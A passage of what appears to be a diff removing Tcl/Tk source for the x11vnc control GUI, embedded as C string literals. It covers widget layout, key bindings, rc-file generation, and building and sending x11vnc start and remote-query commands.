-" } elseif {$mode == \"icon\" || $mode == \"tray\"} {\n"
-"\n"
-" toplevel $fw\n"
-" wm withdraw $fw\n"
-"\n"
-" wm protocol $fw WM_DELETE_WINDOW \"wm withdraw .full\"\n"
-" wm protocol . WM_DELETE_WINDOW \"clean_icon_exit\"\n"
-" \n"
-" if {$mode == \"icon\"} {\n"
-" set tray_embed 0\n"
-" } elseif {$mode == \"tray\"} {\n"
-" set tray_embed 1\n"
-" }\n"
-" set icon_mode 1\n"
-" make_widgets $fw\n"
-" set w $fw\n"
-" make_icon\n"
-" wm geometry $fw \"\"\n"
-" wm geometry . \"\"\n"
-" } else {\n"
-" return\n"
-" }\n"
-" set_view_variable $mode\n"
-" set gui_current_state $mode\n"
-"\n"
-"\n"
-" update\n"
-" if {!$tray_embed || !$tray_running} {\n"
-" wm deiconify .\n"
-" }\n"
-" update idletasks\n"
-" wm minsize $w [winfo width $w] [winfo height $w]\n"
-" if {$mode == \"full\" && $make_gui_count > 1} {\n"
-" center_win .\n"
-" }\n"
-"\n"
-"\n"
-" if {$make_gui_count == 1} {\n"
-" copy_default_vars\n"
-" if {$x11vnc_connect} {\n"
-" try_connect_and_query_all\n"
-" } else {\n"
-" insert_cmdline_vars\n"
-" }\n"
-" } else {\n"
-" set_name \"RESTORE\"\n"
-" }\n"
-"\n"
-" setup_client_tail\n"
-"\n"
-" set_widgets\n"
-"\n"
-" if {$mode == \"tray\"} {\n"
-" setup_tray_embed\n"
-" }\n"
-"}\n"
-"\n"
-"proc make_widgets {top} {\n"
-" global template make_gui_count\n"
-" global menu_b menu_m menu_count\n"
-" global item_opts item_bool item_case item_menu item_entry menu_var unset_str\n"
-" global item_cascade\n"
-" global info_label info_str x11_display vnc_display\n"
-" global text_area text_area_str\n"
-" global entry_box entry_str entry_set entry_label entry_ok entry_browse\n"
-" global entry_help entry_skip\n"
-" global bfont ffont beginner_mode\n"
-" global helptext helpremote helplabel\n"
-" global icon_mode icon_win props_win full_win\n"
-" global top_widget_names\n"
-" global screen_height screen_width\n"
-"\n"
-"\n"
-" # Make the top label\n"
-" set label_width 84\n"
-" if {$screen_width <= 400} {\n"
-" set label_width 64\n"
-" }\n"
-" set info_label \"$top.info\"\n"
-" label $info_label -textvariable info_str -bd 2 -relief groove \\\n"
-" -anchor w -width $label_width -font $ffont\n"
-" pack $info_label -side top -fill x -expand 0\n"
-"\n"
-" set top_widget_names(info) $info_label\n"
-"\n"
-" # Extract the Rows:\n"
-" set row 0;\n"
-" set colmax 0;\n"
-" foreach line [split $template \"\\n\"] {\n"
-" if {[regexp {^Row: (.*)} $line rest]} {\n"
-" set col 0\n"
-" foreach case [split $rest] {\n"
-" if {$case == \"\" || $case == \"Row:\"} {\n"
-" continue\n"
-" }\n"
-" set menu_row($case) $row\n"
-" set menu_col($case) $col\n"
-"\n"
-" lappend cases($col) $case;\n"
-" set len [string length $case]\n"
-" if {[info exists max_len($col)]} {\n"
-" if {$len > $max_len($col)} {\n"
-" set max_len($col) $len\n"
-" }\n"
-" } else {\n"
-" set max_len($col) $len\n"
-" }\n"
-" incr col\n"
-" if {$col > $colmax} {\n"
-" set colmax $col\n"
-" }\n"
-" }\n"
-" incr row;\n"
-" }\n"
-" }\n"
-"\n"
-" # Make frames for the rows and make the menu buttons.\n"
-" set f \"$top.menuframe\"\n"
-" frame $f\n"
-" for {set c 0} {$c < $colmax} {incr c} {\n"
-" set colf \"$f.menuframe$c\"\n"
-" frame $colf\n"
-" pack $colf -side left -fill y\n"
-" set fbg [$colf cget -background]\n"
-" foreach case $cases($c) {\n"
-" set menub \"$colf.menu$case\";\n"
-" set menu \"$colf.menu$case.menu\";\n"
-" set menu_b($case) $menub\n"
-" set menu_m($case) $menu\n"
-" set ul 0\n"
-" foreach char [split $case \"\"] {\n"
-" set char [string tolower $char]\n"
-" if {![info exists underlined($char)]} {\n"
-" set underlined($char) 1\n"
-" break\n"
-" }\n"
-" incr ul\n"
-" }\n"
-" global osname\n"
-" set tstr \"$case\"\n"
-" if {$osname == \"Darwin\"} {\n"
-" #set tstr \" $case \"\n"
-" }\n"
-" menubutton $menub -text \"$tstr\" -underline $ul \\\n"
-" -anchor w -menu $menu -background $fbg \\\n"
-" -font $bfont\n"
-" pack $menub -side top -fill x\n"
-" menu $menu -tearoff 0 -postcommand menu_posted\n"
-" }\n"
-" }\n"
-" pack $f -side top -fill x\n"
-" set top_widget_names(menuframe) $f\n"
-"\n"
-" make_menu_items\n"
-"\n"
-" # Make the x11 and vnc display label bar:\n"
-" set df \"$top.displayframe\"\n"
-" frame $df -bd 1 -relief groove\n"
-" set top_widget_names(displayframe) $df\n"
-"\n"
-" set df_x11 \"$df.xdisplay\"\n"
-"\n"
-" if {$make_gui_count == 1} {\n"
-" no_x11_display\n"
-" }\n"
-" set lw [expr {$label_width / 2}]\n"
-" label $df_x11 -textvariable x11_display -width $lw -anchor w \\\n"
-" -font $ffont\n"
-"\n"
-" set df_vnc \"$df.vdisplay\"\n"
-"\n"
-" if {$make_gui_count == 1} {\n"
-" no_vnc_display\n"
-" }\n"
-" label $df_vnc -textvariable vnc_display -width $lw -anchor w \\\n"
-" -font $ffont\n"
-"\n"
-" pack $df_x11 $df_vnc -side left \n"
-" pack $df -side top -fill x\n"
-"\n"
-" # text area\n"
-" global text_height\n"
-" set text_area \"$top.text\"\n"
-" if {$screen_width <= 400} {\n"
-" text $text_area -height $text_height -width $label_width \\\n"
-" -relief ridge -font $ffont\n"
-" } else {\n"
-" text $text_area -height $text_height -relief ridge -font $ffont\n"
-" }\n"
-" pack $text_area -side top -fill both -expand 1\n"
-" set top_widget_names(text) $text_area\n"
-"\n"
-"\n"
-" if {$text_area_str == \"\"} {\n"
-" set str \"Click Help -> gui for overview.\"\n"
-" append_text \"\\n$str\\n\\n\"\n"
-" } else {\n"
-" append_text $text_area_str\n"
-" }\n"
-"\n"
-" # Make entry box stuff\n"
-" set ef \"$top.entryframe\"\n"
-" frame $ef -bd 1 -relief groove\n"
-" set top_widget_names(entryframe) $ef\n"
-"\n"
-" # Entry Label\n"
-" set ef_label \"$ef.label\"\n"
-" label $ef_label -textvariable entry_str -anchor w -font $bfont\n"
-"\n"
-" set entry_str \"Set... : \"\n"
-" set ef_entry \"$ef.entry\"\n"
-" entry $ef_entry -relief sunken -font $ffont\n"
-" bind $ef_entry <KeyPress-Return> {set entry_set 1}\n"
-" bind $ef_entry <KeyPress-Escape> {set entry_set 0}\n"
-"\n"
-" set ok_s \"OK\"\n"
-" set cancel_s \"Cancel\"\n"
-" set help_s \"Help\"\n"
-" set browse_s \"Browse...\"\n"
-" global osname\n"
-" if {$osname == \"Darwin\"} {\n"
-" set ok_s \" OK \"\n"
-" set cancel_s \" Cancel \"\n"
-" set help_s \" Help \"\n"
-" set browse_s \" Browse... \"\n"
-" }\n"
-"\n"
-" # Entry OK button\n"
-" set bpx \"1m\"\n"
-" set bpy \"1\"\n"
-" set hlt \"0\"\n"
-" set ef_ok \"$ef.ok\"\n"
-" button $ef_ok -text $ok_s -pady $bpy -padx $bpx -command {set entry_set 1} \\\n"
-" -highlightthickness $hlt \\\n"
-" -font $bfont\n"
-"\n"
-" # Entry Skip button\n"
-" set ef_skip \"$ef.skip\"\n"
-" button $ef_skip -text $cancel_s -pady $bpy -padx $bpx -command {set entry_set 0} \\\n"
-" -highlightthickness $hlt \\\n"
-" -font $bfont\n"
-"\n"
-" # Entry Help button\n"
-" set ef_help \"$ef.help\"\n"
-" button $ef_help -text $help_s -pady $bpy -padx $bpx -command \\\n"
-" {menu_help $entry_dialog_item} -font $bfont \\\n"
-" -highlightthickness $hlt\n"
-"\n"
-" # Entry Browse button\n"
-" set ef_browse \"$ef.browse\"\n"
-" button $ef_browse -text $browse_s -pady $bpy -padx $bpx -font $bfont \\\n"
-" -highlightthickness $hlt \\\n"
-" -command {entry_insert [tk_getOpenFile]} \n"
-"\n"
-" pack $ef_label -side left\n"
-" pack $ef_entry -side left -fill x -expand 1\n"
-" pack $ef_ok -side right\n"
-" pack $ef_skip -side right\n"
-" pack $ef_help -side right\n"
-" pack $ef -side bottom -fill x\n"
-"\n"
-" set entry_ok $ef_ok\n"
-" set entry_skip $ef_skip\n"
-" set entry_help $ef_help\n"
-" set entry_box $ef_entry\n"
-" set entry_browse $ef_browse\n"
-" set entry_label $ef_label\n"
-" entry_disable\n"
-"\n"
-"}\n"
-"\n"
-"proc menu_bindings {m} {\n"
-" set db 0\n"
-" if {$db} {puts \"menu_bindings $m\"}\n"
-"\n"
-" bind $m <<MenuSelect>> {\n"
-"#syntax hilite bug \\\n"
-"MenuSelect>>\n"
-" set n [%W index active]\n"
-" set db 0\n"
-" if {$db} {puts stderr \"menu_bindings %W $n\"}\n"
-" set label \" \"\n"
-" if {$n != \"none\"} {\n"
-" set str %W,$n\n"
-" set which \"\"\n"
-"\n"
-" if {$db} {puts \"menu_bindings $str\"}\n"
-" if {[info exists helplabel($str)]} {\n"
-" set vname [format %%-16s $helplabel($str)]\n"
-" set label \"Click (?) for help on: $vname\"\n"
-" set which $helplabel($str)\n"
-" }\n"
-" if {$which == \"\"} {\n"
-" ;\n"
-" } elseif {$which == \"passwd\" || $which == \"viewpasswd\"} {\n"
-" ;\n"
-" } elseif {[is_action $which]} {\n"
-" if {[info exists menu_var($which)] \n"
-" && $menu_var($which) != \"\"} {\n"
-" set label \"$label value: $menu_var($which)\"\n"
-" } else {\n"
-" set label \"$label (is action)\"\n"
-" }\n"
-" } elseif {[info exists menu_var($which)]} {\n"
-" set label \"$label value: $menu_var($which)\"\n"
-" if {$which == \"http\"} {\n"
-" global vnc_url\n"
-" set label \"$label URL: $vnc_url\"\n"
-" }\n"
-" }\n"
-" }\n"
-" set_info $label\n"
-" }\n"
-"}\n"
-"\n"
-"proc key_bindings {} {\n"
-" global env menus_disabled\n"
-" if {[info exists env(USER)] && $env(USER) == \"runge\"} {\n"
-" # quick restart\n"
-" bind . <Control-KeyPress-k> {exec $argv0 $argv &; destroy .}\n"
-" }\n"
-" bind . <Control-KeyPress-p> { \\\n"
-" global menus_disabled; \\\n"
-" if {!$menus_disabled} {try_connect_and_query_all} \\\n"
-" }\n"
-" bind . <Control-KeyPress-u> { \\\n"
-" global menus_disabled; \\\n"
-" if {!$menus_disabled} {query_all 0} \\\n"
-" }\n"
-" bind . <Control-KeyPress-r> { \\\n"
-" global menus_disabled; \\\n"
-" if {!$menus_disabled} {query_all 0} \\\n"
-" }\n"
-" bind . <Control-KeyPress-d> { \\\n"
-" global menus_disabled; \\\n"
-" if {!$menus_disabled} {detach_from_display} \\\n"
-" }\n"
-" bind . <Control-KeyPress-a> { \\\n"
-" global menus_disabled; \\\n"
-" if {!$menus_disabled} {try_connect_and_query_all} \\\n"
-" }\n"
-"}\n"
-"\n"
-"proc stop_watch {onoff} {\n"
-" global orig_cursor text_area entry_box\n"
-"\n"
-" set widgets [list .]\n"
-" if [info exists text_area] {\n"
-" if {$text_area != \"\"} {\n"
-" lappend widgets $text_area\n"
-" }\n"
-" }\n"
-" if [info exists entry_box] {\n"
-" if {$entry_box != \"\"} {\n"
-" lappend widgets $entry_box\n"
-" }\n"
-" }\n"
-"\n"
-" if {$onoff == \"on\"} {\n"
-" foreach item $widgets {\n"
-" if {![winfo exists $item]} {\n"
-" continue\n"
-" }\n"
-" $item config -cursor {watch}\n"
-" }\n"
-" } else {\n"
-" foreach item $widgets {\n"
-" if {![winfo exists $item]} {\n"
-" continue\n"
-" }\n"
-" $item config -cursor {}\n"
-" }\n"
-" }\n"
-" update\n"
-"}\n"
-"\n"
-"proc double_check_noremote {} {\n"
-" set msg \"\\n\\n\"\n"
-" append msg \"*** WARNING: setting \\\"noremote\\\" will disable ALL remote control commands (i.e.\\n\"\n"
-" append msg \"*** WARNING: *this* gui will be locked out). Do you really want to do this?\\n\"\n"
-" append msg \"*** WARNING: If so, press \\\"OK\\\", otherwise press \\\"Cancel\\\"\\n\"\n"
-" append msg \"\\n\"\n"
-" bell\n"
-" return [warning_dialog $msg \"noremote\"]\n"
-"}\n"
-"\n"
-"proc get_settings_rcfile {} {\n"
-" global menu_var default_var unset_str\n"
-" global x11vnc_gui_params\n"
-"\n"
-" set rc_txt \"\"\n"
-"\n"
-" set menu_var(gui) $x11vnc_gui_params\n"
-"\n"
-" foreach item [lsort [array names menu_var]] {\n"
-" if {$item == \"gui\"} {\n"
-" ;\n"
-" } elseif {![active_when_starting $item]} {\n"
-" continue\n"
-" } elseif {[is_action $item]} {\n"
-" continue\n"
-" }\n"
-" if {$item == \"debug_gui\"} {\n"
-" continue\n"
-" } elseif {$item == \"WindowView\"} {\n"
-" continue\n"
-" } elseif {$item == \"rc\" || $item == \"norc\"} {\n"
-" continue\n"
-" } elseif {$item == \"loop\"} {\n"
-" continue\n"
-" } elseif {$item == \"loopbg\"} {\n"
-" continue\n"
-" }\n"
-"\n"
-" set def \"\"\n"
-" if {[info exists default_var($item)]} {\n"
-" set def $default_var($item)\n"
-" }\n"
-"\n"
-"\n"
-" set qst \"\"\n"
-" set hmm \"#? \"\n"
-" if {$item == \"display\"} {\n"
-" set qst $hmm\n"
-" } elseif {$item == \"desktop\"} {\n"
-" set qst $hmm\n"
-" } elseif {$item == \"dontdisconnect\"} {\n"
-" set qst $hmm\n"
-" } elseif {$item == \"alwaysshared\"} {\n"
-" set qst $hmm\n"
-" } elseif {$item == \"nevershared\"} {\n"
-" set qst $hmm\n"
-" } elseif {$item == \"gui\"} {\n"
-" set qst $hmm\n"
-" }\n"
-"\n"
-" if {![info exists menu_var($item)]} {\n"
-" set mv $def\n"
-" } else {\n"
-" set mv $menu_var($item)\n"
-" }\n"
-"#puts \"item=$item def=$def mv=$mv\"\n"
-" if {$mv == $unset_str} {\n"
-" set mv \"\"\n"
-" }\n"
-" set ntab 3\n"
-"\n"
-" if {$item == \"gui\" || [value_is_string $item]} {\n"
-" set nitem [get_nitem $item]\n"
-"\n"
-" if {$mv == \"\" && $def != \"\"} {\n"
-" set qst $hmm\n"
-" }\n"
-" set n 0\n"
-" if {$qst != \"\"} {\n"
-" append rc_txt $qst\n"
-" incr n [string length $qst]\n"
-" } elseif {$mv == $def} {\n"
-" append rc_txt \"#d \"\n"
-" incr n [string length \"#d \"]\n"
-" }\n"
-" set mt $mv\n"
-" regsub -all {#} $mt {\\#} mt\n"
-" if {$mt == \"\"} {\n"
-" set mt {\"\"}\n"
-" }\n"
-" append rc_txt \"-$nitem $mt\"\n"
-"\n"
-" if {$mv != $def} {\n"
-" set m [string length \"-$nitem $mt\"]\n"
-" incr n $m\n"
-" set n [expr $n / 8]\n"
-" set c 0\n"
-" for {set i $n} {$i <= $ntab} {incr i} {\n"
-" append rc_txt \"\\t\"\n"
-" incr c\n"
-" }\n"
-" if {$c == 0} {\n"
-" append rc_txt \"\\t\"\n"
-" }\n"
-" regsub -all {#} $def {\\#} def\n"
-" if {$def == \"\"} {\n"
-" set def {\"\"}\n"
-" }\n"
-" append rc_txt \"# default: $def\"\n"
-" }\n"
-" append rc_txt \"\\n\"\n"
-"\n"
-" } elseif {[value_is_bool $item]} {\n"
-" set n 0\n"
-" if {$qst != \"\"} {\n"
-" append rc_txt $qst\n"
-" incr n [string length $qst]\n"
-" } elseif {$mv == $def} {\n"
-" append rc_txt \"#d \"\n"
-" incr n [string length \"#d \"]\n"
-" }\n"
-" if {$def == 1} {\n"
-" set dv \"on\"\n"
-" } else {\n"
-" set dv \"off\"\n"
-" }\n"
-" append rc_txt \"-$item\"\n"
-" set m [string length \"-$item\"]\n"
-" incr n $m\n"
-" set n [expr $n / 8]\n"
-" for {set i $n} {$i <= $ntab} {incr i} {\n"
-" append rc_txt \"\\t\"\n"
-" }\n"
-" append rc_txt \"# default: $dv\"\n"
-" append rc_txt \"\\n\"\n"
-"\n"
-" }\n"
-" }\n"
-" return $rc_txt\n"
-"}\n"
-"\n"
-"proc double_check_start_x11vnc {} {\n"
-" global hostname\n"
-" set msg [get_start_x11vnc_txt]\n"
-" bell\n"
-" append msg \"\\n\"\n"
-" append msg \"*** To run the above command on machine \\\"$hostname\\\" (thereby\\n\"\n"
-" append msg \"*** starting x11vnc) press \\\"OK\\\", otherwise press \\\"Cancel\\\".\\n\"\n"
-" return [warning_dialog $msg \"start\"]\n"
-"}\n"
-"\n"
-"proc get_start_x11vnc_txt {} {\n"
-" set cmd [get_start_x11vnc_cmd]\n"
-" set str [join $cmd]\n"
-" set msg \"\"\n"
-" append msg \"\\n\"\n"
-" append msg \"==== The command built so far is: ====\\n\";\n"
-" append msg \"\\n\"\n"
-" append msg \"$str\\n\"\n"
-" return $msg\n"
-"}\n"
-"\n"
-"proc show_start_cmd {} {\n"
-" set msg [get_start_x11vnc_txt]\n"
-" append_text \"$msg\\n\"\n"
-"}\n"
-"\n"
-"proc get_nitem {item} {\n"
-" set nitem $item\n"
-" if {$nitem == \"screen_blank\"} {\n"
-" set nitem \"sb\"\n"
-" } elseif {$nitem == \"xrandr_mode\"} {\n"
-" set nitem \"xrandr\"\n"
-" } elseif {$nitem == \"unixpw_list\"} {\n"
-" set nitem \"unixpw\"\n"
-" } elseif {$nitem == \"unixpw_nis_list\"} {\n"
-" set nitem \"unixpw_nis\"\n"
-" } elseif {$nitem == \"stunnel_pem\"} {\n"
-" set nitem \"stunnel\"\n"
-" } elseif {$nitem == \"ssl_pem\"} {\n"
-" set nitem \"ssl\"\n"
-" } elseif {$nitem == \"wireframe_mode\"} {\n"
-" set nitem \"wireframe\"\n"
-" } elseif {$nitem == \"solid_color\"} {\n"
-" set nitem \"solid\"\n"
-" }\n"
-" return $nitem\n"
-"}\n"
-"\n"
-"proc get_start_x11vnc_cmd {{show_rc 0}} {\n"
-" global cmd_var menu_var default_var unset_str x11vnc_prog\n"
-"\n"
-" set xterm_cmd \"xterm -iconic -geometry 80x35 -title x11vnc-console -e\"\n"
-"\n"
-" set cmd [split $xterm_cmd]\n"
-"\n"
-" lappend cmd $x11vnc_prog\n"
-"\n"
-" lappend cmd \"-gui\"\n"
-" lappend cmd \"none\"\n"
-"\n"
-" set rc_txt \"\"\n"
-"\n"
-" set saw_id 0\n"
-"\n"
-" foreach item [lsort [array names menu_var]] {\n"
-" if {$item == \"gui\"} {\n"
-" continue\n"
-" } elseif {![active_when_starting $item]} {\n"
-" continue\n"
-" } elseif {[is_action $item]} {\n"
-" continue\n"
-" } elseif {$item == \"debug_gui\"} {\n"
-" continue\n"
-" } elseif {$item == \"WindowView\"} {\n"
-" continue\n"
-" }\n"
-"\n"
-" if {$item == \"id\" || $item == \"sid\"} {\n"
-" set val $menu_var($item);\n"
-" if {$val == \"0x0\" || $val == \"root\"} {\n"
-" continue\n"
-" }\n"
-" }\n"
-" if {$item == \"sid\" && $saw_id} {\n"
-" continue\n"
-" }\n"
-" if {$item == \"id\"} {\n"
-" set saw_id 1\n"
-" } elseif {$item == \"httpport\" && $menu_var($item) == \"0\"} {\n"
-" continue\n"
-" } elseif {$item == \"progressive\" && $menu_var($item) == \"0\"} {\n"
-" continue\n"
-" } elseif {$item == \"dontdisconnect\" && $menu_var($item) == \"-1\"} {\n"
-" continue\n"
-" } elseif {$item == \"alwaysshared\" && $menu_var($item) == \"-1\"} {\n"
-" continue\n"
-" }\n"
-"\n"
-" if {[value_is_bool $item]} {\n"
-" if {[info exists menu_var($item)]} {\n"
-" set add 1\n"
-" if {[info exists default_var($item)]} {\n"
-" if {$menu_var($item) == $default_var($item)} {\n"
-" set add 0;\n"
-" }\n"
-" } elseif {! $menu_var($item)} {\n"
-" set add 0\n"
-" }\n"
-" if {$add} {\n"
-" lappend cmd \"-$item\"\n"
-" append rc_txt \"-$item\\n\"\n"
-" }\n"
-" }\n"
-" } elseif {[value_is_string $item]} {\n"
-" if {![info exists menu_var($item)]} {\n"
-" continue\n"
-" }\n"
-" if {$menu_var($item) != \"\" && $menu_var($item) != $unset_str} {\n"
-" set add 1\n"
-" set nitem [get_nitem $item]\n"
-"\n"
-" if {[info exists default_var($item)]} {\n"
-" if {$menu_var($item) == $default_var($item)} {\n"
-" set add 0;\n"
-" }\n"
-" }\n"
-" if {$add} {\n"
-" lappend cmd \"-$nitem\"\n"
-" set mv $menu_var($item)\n"
-"\n"
-" if {[regexp {^~} $mv]} {\n"
-" if {$item == \"auth\" ||\n"
-" $item == \"rc\" ||\n"
-" $item == \"accept\" || \n"
-" $item == \"connect\" || \n"
-" $item == \"allow\" || \n"
-" $item == \"passwdfile\" || \n"
-" $item == \"o\" || \n"
-" $item == \"logfile\" || \n"
-" $item == \"remap\" || \n"
-" $item == \"httpdir\"} { \n"
-" set mv [tilde_expand $mv]\n"
-" }\n"
-" }\n"
-" \n"
-" lappend cmd $mv\n"
-" set mt $mv\n"
-" regsub -all {#} $mt {\\#} mt\n"
-" append rc_txt \"-$nitem $mt\\n\"\n"
-" }\n"
-" }\n"
-" }\n"
-" }\n"
-" lappend cmd \"2>\"\n"
-" lappend cmd \"/dev/null\"\n"
-" lappend cmd \"&\"\n"
-" \n"
-" if {$show_rc} {\n"
-" return $rc_txt\n"
-" } else {\n"
-" return $cmd\n"
-" }\n"
-"}\n"
-"\n"
-"proc start_x11vnc {} {\n"
-" global menu_var unset_str\n"
-" global x11vnc_prog x11vnc_xdisplay\n"
-" global connected_to_x11vnc\n"
-"\n"
-" if {$connected_to_x11vnc} {\n"
-" append_text \"\\n\"\n"
-" append_text \"WARNING: Still connected to an x11vnc server.\\n\"\n"
-" append_text \"WARNING: Use \\\"stop\\\" or \\\"detach\\\" first.\\n\"\n"
-" return 0\n"
-" }\n"
-"\n"
-" if {![double_check_start_x11vnc]} {\n"
-" return\n"
-" }\n"
-"\n"
-" set x11vnc_xdisplay \"\"\n"
-" if {[info exists menu_var(display)]} {\n"
-" if {$menu_var(display) != \"\" && $menu_var(display) != $unset_str} {\n"
-" set x11vnc_xdisplay $menu_var(display)\n"
-" }\n"
-" }\n"
-"\n"
-" set cmd [get_start_x11vnc_cmd]\n"
-"\n"
-" set str [join $cmd]\n"
-" regsub { -e} $str \" -e \\\\\\n \" str\n"
-"\n"
-" if {0} {\n"
-" puts \"running: $str\"\n"
-" foreach word $cmd {\n"
-" puts \" word: $word\"\n"
-" }\n"
-" }\n"
-"\n"
-" append_text \"Starting x11vnc in an iconified xterm with command:\\n\"\n"
-" append_text \" $str\\n\\n\"\n"
-" catch {[eval exec $cmd]}\n"
-" after 500\n"
-" try_connect_and_query_all 3\n"
-" if {!$connected_to_x11vnc} {\n"
-" append_text \"\\nStarting x11vnc seems to have failed.\\n\"\n"
-" if {[regexp -- {-o } $str] || [regexp -- {-logfile} $str]} {\n"
-" append_text \"Examine the logfile (Debugging -> show-logfile) for error messages.\\n\"\n"
-" } else {\n"
-" append_text \"Rerun with a logfile (if needed) and examine the logfile\\n\"\n"
-" append_text \"(Debugging -> show-logfile) for error messages.\\n\"\n"
-" }\n"
-" }\n"
-"}\n"
-"\n"
-"proc run_remote_cmd_via_sock {opts} {\n"
-" global client_sock\n"
-"\n"
-" set db 0\n"
-" if {[file channels $client_sock] == \"\"} {\n"
-" set client_sock \"\"\n"
-" return \"fail\"\n"
-" }\n"
-" if {[eof $client_sock]} {\n"
-" catch {close $client_sock}\n"
-" set client_sock \"\"\n"
-" return \"fail\"\n"
-" }\n"
-" set result \"\"\n"
-" \n"
-" setup_client_sock 0\n"
-"\n"
-" set docmd \"\"\n"
-" foreach opt $opts {\n"
-" if {$opt == \"-R\"} {\n"
-" set docmd \"-R\"\n"
-" continue\n"
-" } elseif {$opt == \"-Q\"} {\n"
-" set docmd \"-Q\"\n"
-" continue\n"
-" }\n"
-"\n"
-" if {$docmd == \"\"} {\n"
-" continue\n"
-" } elseif {$docmd == \"-R\"} {\n"
-" set str \"cmd=$opt\"\n"
-" } elseif {$docmd == \"-Q\"} {\n"
-" set str \"qry=$opt\"\n"
-" } else {\n"
-" set docmd \"\"\n"
-" continue\n"
-" }\n"
-"\n"
-" if {$db} {puts stderr \"run_remote_cmd_via_sock: $docmd \\\"$str\\\"\"}\n"
-" catch {puts $client_sock $str}\n"
-" if {$db} {puts stderr \"run_remote_cmd_via_sock: flush\"}\n"
-" catch {flush $client_sock}\n"
-" if {$db} {puts stderr \"run_remote_cmd_via_sock: gets\"}\n"
-" catch {gets $client_sock res}\n"
-" if {$db} {puts stderr \"run_remote_cmd_via_sock: \\\"$res\\\"\"}\n"
-" set res [string trim $res]\n"
-"\n"
-" if [regexp {=clients:} $res] {\n"
-" regsub {^.*=clients:} $res \"\" cres\n"
-" regsub {,aro=.*$} $cres \"\" cres\n"
-" regsub {,ans=.*$} $cres \"\" cres\n"
-" if {$cres == \"none\"} {\n"
-" set cres \"\"\n"
-" }\n"
-" update_clients_menu $cres\n"
-" set client_str $cres\n"
-" set_client_balloon $cres\n"
-" }\n"
-"\n"
-" if [regexp {^clients:} $res] {\n"
-" regsub {^clients:} $res \"\" tmp\n"
-" if {$tmp == \"none\"} {\n"
-" set tmp \"\"\n"
-" }\n"
-" update_clients_menu $tmp\n"
-" set client_str $tmp\n"
-" set_client_balloon $tmp\n"
-"\n"
-" if ![regexp {^clients} $opt] {\n"
-" # we could block here...\n"
-" if {$db} {puts stderr \"run_remote_cmd_via_sock: gets\"}\n"
-" gets $client_sock res\n"
-" if {$db} {puts stderr \"run_remote_cmd_via_sock: \\\"$res\\\"\"}\n"
-" set res [string trim $res]\n"
-" }\n"
-" }\n"
-"\n"
-" set docmd \"\"\n"
-"\n"
-" if {$res != \"\"} {\n"
-" append result \"$res\\n\"\n"
-" }\n"
-" }\n"
-" \n"
-" setup_client_sock 1\n"
-"\n"
-" set result [string trim $result]\n"
-"\n"
-" return $result\n"
-"}\n"
-"\n"
-"proc run_remote_cmd {opts} {\n"
-" global menu_var x11vnc_prog x11vnc_cmdline x11vnc_xdisplay\n"
-" global x11vnc_auth_file x11vnc_connect_file\n"
-" global client_sock\n"
-"\n"
-" set debug [in_debug_mode]\n"
-"\n"
-" if {[lindex $opts 0] == \"-R\" && [lindex $opts 1] == \"noremote\"} {\n"
-" set str [join $opts]\n"
-" if ![double_check_noremote] {\n"
-" append_text \"skipping: x11vnc $str\"\n"
-" return \"\"\n"
-" } else {\n"
-" append_text \"running: x11vnc $str (please do \\\"Actions -> detach\\\" to clean things up)\\n\"\n"
-" append_text \"subsequent -R/-Q commands should fail...\"\n"
-" }\n"
-" }\n"
-"\n"
-" if {$client_sock != \"\"} {\n"
-" menus_disable\n"
-" stop_watch on\n"
-" set result [run_remote_cmd_via_sock $opts]\n"
-" stop_watch off\n"
-" menus_enable\n"
-" if {$result != \"fail\"} {\n"
-" return $result\n"
-" }\n"
-" }\n"
-"\n"
-" set cmd \"\"\n"
-"\n"
-" lappend cmd $x11vnc_prog;\n"
-"\n"
-" if {$x11vnc_connect_file != \"\"} {\n"
-" lappend cmd \"-connect\"\n"
-" lappend cmd $x11vnc_connect_file\n"
-" } else {\n"
-" if {$x11vnc_xdisplay != \"\"} {\n"
-" lappend cmd \"-display\"\n"
-" lappend cmd $x11vnc_xdisplay\n"
-" }\n"
-" if {$x11vnc_auth_file != \"\"} {\n"
-" lappend cmd \"-auth\"\n"
-" lappend cmd $x11vnc_auth_file\n"
-" }\n"
-" }\n"
-" lappend cmd \"-sync\"\n"
-" foreach word $opts {\n"
-" lappend cmd $word\n"
-" }\n"
-" lappend cmd \"2>\"\n"
-" lappend cmd \"/dev/null\"\n"
-"\n"
-" if {0 || $debug} {\n"
-" set str [join $cmd]\n"
-" puts \"running: $str\"\n"
-" foreach word $cmd {\n"
-" puts \" word: $word\"\n"
-" }\n"
-" }\n"
-"\n"
-" set output \"\"\n"
-" menus_disable\n"
-"\n"
-" stop_watch on\n"
-" catch {set output [eval exec $cmd]}\n"
-" stop_watch off\n"
-"\n"
-" menus_enable\n"
-" if {$debug} {\n"
-" if {[string length $output] > 100} {\n"
-" set str [string range $output 0 100]\n"
-" append_text \"output: $str ...\\n\"\n"
-" } else {\n"
-" append_text \"output: $output\\n\"\n"
-" }\n"
-" }\n"
-" return $output\n"
-"}\n"
-"\n"
-"proc try_connect_and_query_all {{n 2}} {\n"
-" for {set i 0} {$i < $n} {incr i} {\n"
-" if {$i > 0} {\n"
-" after 500\n"
-" append_text \"trying again ...\\n\"\n"
-" }\n"
-" if {[try_connect]} {\n"
-" query_all\n"
-" break\n"
-" }\n"
-" }\n"
-"}\n"
-"\n"
-"proc try_connect {} {\n"
-" global x11vnc_xdisplay connected_to_x11vnc reply_xdisplay\n"
-" global menu_var unset_str\n"
-"\n"
-" set db 0\n"
-"#dtime c1\n"
-"\n"
-" if {! $connected_to_x11vnc} {\n"
-" if {[info exists menu_var(display)]} {\n"
-" set d $menu_var(display)\n"
-" if {$d != \"\" && $d != $unset_str && $d != $x11vnc_xdisplay} {\n"
-" set x11vnc_xdisplay $menu_var(display)\n"
-" append_text \"Setting X display to: $x11vnc_xdisplay\\n\"\n"
-" }\n"
-" }\n"
-" }\n"
-"\n"
-" set_info \"Pinging $x11vnc_xdisplay ...\"\n"
-" set rargs [list \"-Q\" \"ping\"]\n"
-" set result [run_remote_cmd $rargs]\n"
-"#dtime c2a\n"
-"\n"
-" if {$db} {puts \"try_connect: \\\"$result\\\"\"}\n"
-"\n"
-" if {[regexp {^ans=ping:} $result]} {\n"
-" regsub {^ans=ping:} $result {} reply_xdisplay\n"
-" set msg \"Connected to $reply_xdisplay\"\n"
-" set_info $msg\n"
-" append_text \"$msg\\n\"\n"
-" set_connected yes\n"
-"\n"
-" setup_client_channel\n"
-"#dtime c2b\n"
-" setup_client_sock 1\n"
-" setup_client_tail\n"
-"\n"
-" fetch_displays\n"
-"#dtime c3a\n"
-" return 1\n"
-" } else {\n"
